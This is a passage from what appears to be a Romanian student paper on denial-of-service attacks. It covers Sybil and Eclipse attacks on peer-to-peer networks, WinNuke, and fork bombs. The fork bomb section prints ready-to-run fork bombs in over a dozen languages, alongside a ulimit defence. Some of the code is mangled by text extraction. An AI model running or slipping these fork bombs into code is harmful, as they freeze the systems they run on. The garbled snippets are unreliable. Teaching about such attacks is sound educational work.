Din pacate, fara o autorizatie acreditata, nu este posibila stoparea acestor atacuri. Poate sistemele atent
configurate, bazate pe reputatie pot fi capabile sa ncetineasca acest atac, dar doar att.
O buna defensiva de a face un atac Sybil neatragator, o reprezinta ncercarea de a face imposibila
asezarea identitatilor rau intentionate n pozitii strategice. Identitatile rau intentionate asezate la ntam-
3. Tipuri de atac DoS 19

plare sunt mult mai putin periculoase dect cele plasate strategic, n special daca reteaua P2P este de
dimensiuni foarte mari.

4. Eclipse Attack

nainte ca un atacator sa lanseze un atac eclipsa, el trebuie mai nti sa obtina controlul asupra unei
anumite sume de noduri de-a lungul unor cai strategice de rutare. Odata ce a atins acest scop,acesta
poate apoi separa reteaua in diferite subretele. Astfel,daca un nod vrea sa comunice cu un alt nod
din cealalta subretea, mesajul lui trebuie sa fie rutat prin unul dintre nodurile atacatorului. Atacatorul
"eclipseaza" astfel fiecare subretea de cealalta.
Un atac Eclipse poate fi o continuare a unui atac Sybil. In acest caz, atacatorul va ncerca sa-si plaseze
nodurile pe caile de rutare strategice.
Daca un agresor reuseste un atac Eclipse, acesta poate ataca reteaua ntr-un mod mult mai eficient:
- El poate ataca nivelul de control prin redirectionarea ineficienta a fiecarui mesaj.
- Poate decide sa elimine toate mesajele pe care le receptioneaza,separnd astfel ambele subretele.
- Poate ataca nivelul de date prin injectarea de fisiere poluate sau solicitnd fisiere poluate s i spernd ca
aceste fisiere vor fi memorate de-a lungul drumului.

Tehnici defensive

Anumite protocoale criptografice foarte atent alese pot fi o buna ncercare de a bloca un asemenea atac.
Principala defensiva mpotriva atacului Eclipse o reprezinta folosirea unui model de retea P2P cu-
rata. O solutie s i mai buna ar reprezenta-o folosirea n plus a unui algoritm de randomizare pentru a
determina locatia nodurilor. Daca nodurile dintr-o retea P2P curata sunt distribuite la ntamplare, atunci
nu exista pozitii strategice, iar atacatorul nu poate controla pozitia nodurilor. Ar fi aproape imposibila
separarea a doua subretele una de cealalta n asemenea conditii.

3.9 Atacul de tip Nuke

Nuke-ul este un denial-of-service de moda veche. Acesta nseamna trimiterea unor pachete ICMP frag-
mentate sau invalide victimei. Atacul se opreste n momentul n care computerul victimei se opreste din
functionare.
n jocurile online, nuking-ul este folosit n spamarea unuia sau mai multor useri cu mesaje repetitive
ntr-o succesiune foarte rapida. Aceasta tehnica poate fi observata s i n "instant messaging".
Un exemplu tipic este "WinNuke". Acesta a exploatat o vulnerabilitate n NetBios-ul din Windows
95. Atacatorul trimitea un string de date "out-of-band" prin portul 139. Efectul era blocarea sistemului
de operare s i aparitia BSOD-ului.
20 3. Tipuri de atac DoS

3.10 Atacul de tip Fork Bomb

Un fork bomb este un atac de tipul "denial of service" ce consta n pornirea unui numar mare de procese,
care duc la saturarea tabelei de procese, a procesorului s i a memoriei.
Un atac fork bomb este un exemplu de wabbits(programe care se auto-reproduc): n general, acestea
nu se raspndesc ca virusii sau viermii. Pentru a incapacita un sistem, acestea se bazeaza pe prezumptia
ca numarul de programe s i procese care se executa simultan pe un calculator are o limita.
Acest atac poate ncetini sistemul sau se poate chiar ajunge la imposibilitatea de a-l folosi, fiind
necesar un reboot.
Un astfel de atac de tip fork bomb functioneaza prin crearea unui numar mare de procese ntr-un
mod rapid, pentru a satura spatiul disponibil aflat n lista de procese ale sistemului de operare. Daca
lista de procese devine saturata, niciun alt program nou nu poate fi rulat, pna cnd un alt process se va
ncheia. Chiar daca aceasta se intmpla, este putin probabil ca un program folositor sa fie rulat, ntruct
instantele programului "bomba" vor ncerca sa ocupe orice slot disponibil. Pe lnga folosirea spatiului
n lista de procese, fiecare proces copil al unui fork bomb solicita n plus memoria s i procesorul. Ca
rezultat, sistemul precum s i programele existente ncetinesc s i astfel devin mult mai dificil sau chiar
imposibil de folosit.
Numele atacului vine de la apelul de sistem Linux "fork" n urma caruia un proces da nastere unui
alt proces copil.
Sa analizam un simplu exemplu de fork bomb n bash:
bomb() ( bomb | & bomb ); bomb
Am creat o noua functie numita "bomb", care se autoapeleaza s i si redirectioneaza iesirea catre alta
copie a sa. Deasemnea rulam cele 2 copii n background astfel ncat daca procesul parinte este omorat
sa nu si ncheie executia s i copilul.
Daca rulam acest exemplu pe un server neprotejat, acesta cel mai probabil se va bloca. Pentru a
porni un fork bomb pe un sistem nu trebuie sa ai neaparat nevoie de drepturi administrative, un cont
de simplu utilizator care nu a fost limitat corespunzator fiind de ajuns.
Pentru a verifica limitarile userului curent tastam comanda:
ulimit -a
n cazul nostru suntem interesati de cmpul: "max user processes".Daca acest cmp este unlimited,
sistemul este vulnerabil.
Pentru a proteja sistemul de un atac de tip fork bomb putem sa limitam toti userii nafara de cel
privilegiat: root. Facem acest lucru editnd fisierul:
"/etc/bash.bashrc" (avem nevoie de drepturi administrative) s i sa adaugam urmatoarele reguli:
if [ /usr/bin/id -u -ne 0]; then
ulimit -u 2000 & > /dev/null
3. Tipuri de atac DoS 21

else
ulimit -u unlimited
fi
Acum sistemul nu mai este vulnerabil deoarece cnd userul atinge limita de procese (2000 n cazul
de fata ), nu vor mai fi create noi procese.

3.10.1 Alte exemple de atacuri fork bomb

Un fork bomb folosind limbajul Microsoft Windows batch:

:s
Start
Goto :s

n Perl:

fork while fork

n Haskell:

import Control.Monad
import System.Posix.Process
forkbomb = forever & forkProcess forkbomb

n Ruby:

def forkbomb
loop ( fork ( forkbomb ) )
end; forkbomb

n UNIX C sau C++:

#include(unistd.h)
int main(void) {
for(;;)
fork();
return 0;
}
22 3. Tipuri de atac DoS

n Windows visual studio C sau C++:

#include(windows.h)
int main(int argn, char **argv)
{
STARTUPINFO si;
PROCESSINFORMATION pi;
ZeroMemory(& si, sizeof(si));
si.cb = sizeof(si);
while(1)
{
SetConsoleCtrlHandler(0 , 1);
CreateProcess(*argv, 0, 0, 0, 0, CREATE-NEW-CONSOLE, 0, 0, & si,& pi);
}
return 0;
}

n Scheme:

(letrec (( x(lambda() (begin (fork-thread x) (x))))) (x))

n Free Pascal:

$IFDEF UNIX
uses cthreads;
$ENDIF
var
ForkThis: TThreadFunc;
function ForkMe(Dummy: pointer): PtrInt;
begin
while TRUE do BeginThread(ForkThis);
end;
begin
ForkThis:= @ForkMe;
ForkMe(nil);
end.
3. Tipuri de atac DoS 23

n PHP (probabil doar pentru sisteme compatibile POSIX):

while (pcntl-fork() | 1);

n x86 FASM pentru LINUX:

format ELF executable


entry start
start:
mov eax, 0x2 ; Linux fork system call
int 0x80 ; Call to the kernel
jmp start ; Loop back to the star

n x86 FASM pentru Win32:

format PE GUI 4.0


entry start
section .text code readable executable
start: pushd 1000
pushd path
pushd 0
call [GetModuleFileName]
@@: pushd 1
pushd 0
pushd 0
pushd path
pushd command
pushd 0
call [ShellExecute]
jmp @b
section .data data readable writeable
path rb 1000
command db "open"
section .idata import data readable writeable
dd 0,0,0,RVA kernel32id,RVA kernel32
dd 0,0,0,RVA shell32id,RVA shell32
kernel32:
GetModuleFileName dd RVA _GetModuleFileName
24 3. Tipuri de atac DoS

dd 0
shell32:
ShellExecute dd RVA _ShellExecute
dd 0
kernel32id db kernel32.dll,0
shell32id db shell32.dll,0
_GetModuleFileName dw 0
db GetModuleFileNameA,0
_ShellExecute dw 0
db ShellExecuteA,0
section .reloc fixups data readable discardable

n Lisp:

(defmacro wabbit () ;;Program care scrie codul.


(let ((fname (gentemp INET)))
(progn
(defun ,fname () ;; Generate.
nil)
(wabbit))))
(wabbit) ;; Start multiplicare.

n Pict:

def wabbit [] = ( wabbit![] | wabbit![] )


run wabbit![]

Un exemplu de fork bomb letal ce poate rula pe orice sistem de operare care are plugin-ul Java activat
s i care poate face ca sistemul sa cada:

import java.applet.Applet;
public class ForkBombApplet extends Applet{
public void init(){
while (true){
new Threadnew Runnable(){
public void run(){
while(true){
}
3. Tipuri de atac DoS 25

}
}.start();
}
}
}
26 3. Tipuri de atac DoS
Partea III

Concluzii
Capitolul 4

Tendinte s i concluzii personale

n contextul actual n care stiinta calculatoarelor a devenit o mare putere prin distribuirea informatiilor
ce se propaga aproape simultan pe tot mapamondul, au luat amploare s i atacurile informatice. Acest
fenomen este cu att mai periculos cu ct securitatea unor informatii ultrasecrete este amenintata de
atacurile hackerilor care folosesc metode tot mai ingenioase.
Sub acest aspect, pentru contracararea acestor atacuri, guvernele investesc n perpetua perfectionare
a sistemelor de securitate a informatiei.
Cu ct aceste atacurile devin mai puternice, cu att metodele de contracarare a lor trebuie sa fie mai
performante, avnd n vedere ca acest domeniu al informaticii este vast s i ntr-o expansiune continua.
30 4. Tendinte s i concluzii personale
Bibliografie

[1] Keith Dawson, A morbid taste for fiber, Tasty Bits from the Tehnol-
ogy Front, 04-08-1997

[2] W. Eddy, The IETF Trust, 2007

[3] CERT Advisory CA-1996-01 UDP Port Denial-of-Service Attack,1996

[4] Phillip Boyle, SANS Institute - Intrusion Detection, 2000

[5] Tom Spring, Spam Slayer: Slaying Spam-Spewing Zombie PCs,PC


World,2005

[6] CERT Advisory CA-1998-01 Smurf IP Denial-of-Service Attacks,1998

[7] P. Ferguson,D. Senie,Network Ingress Filtering: Defeating Denial of Ser-


vice Attacks which employ IP Source Address Spoofing,RFC 2827,BCP 38,
2000

S-ar putea să vă placă și